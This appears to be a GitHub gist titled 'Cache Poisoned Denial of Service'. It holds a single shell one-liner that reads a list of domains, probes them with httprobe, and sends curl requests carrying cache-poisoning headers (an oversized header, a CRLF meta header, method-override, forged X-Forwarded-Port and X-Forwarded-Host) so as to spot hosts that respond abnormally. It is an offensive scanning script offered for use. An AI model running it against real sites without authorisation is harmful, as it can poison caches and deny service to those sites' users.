Skip to content

Instantly share code, notes, and snippets.

@cyberheartmi9
Created February 18, 2021 21:09
Show Gist options
  • Save cyberheartmi9/3dcc42bcfc707e2e27c2ff5d016dfea5 to your computer and use it in GitHub Desktop.
Save cyberheartmi9/3dcc42bcfc707e2e27c2ff5d016dfea5 to your computer and use it in GitHub Desktop.
Cache Poisoned Denial of Service
cat ~/domain.txt | httprobe | while read url;do ww=$(for i in "X-Oversized-Header-1: Big_Valuetestetstsetsetstsetestsetsetsetsetsetestsetsetsetsetsetsetsetsetsetesset" "X-Meta-Malicious-Header: \r\n" "X-HTTP-Method-Override: POST" "X-Forwarded-Port: 123" "X-Forwarded-Host: $url:123";do curl -s -L -I -H $i $url;done|grep HTTP|grep -v '301 '|awk '{ printf "%3d: %s\n", NR, $0 }');echo -e "\e[1;32m$url\e[0m""\n""$ww""\n";done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment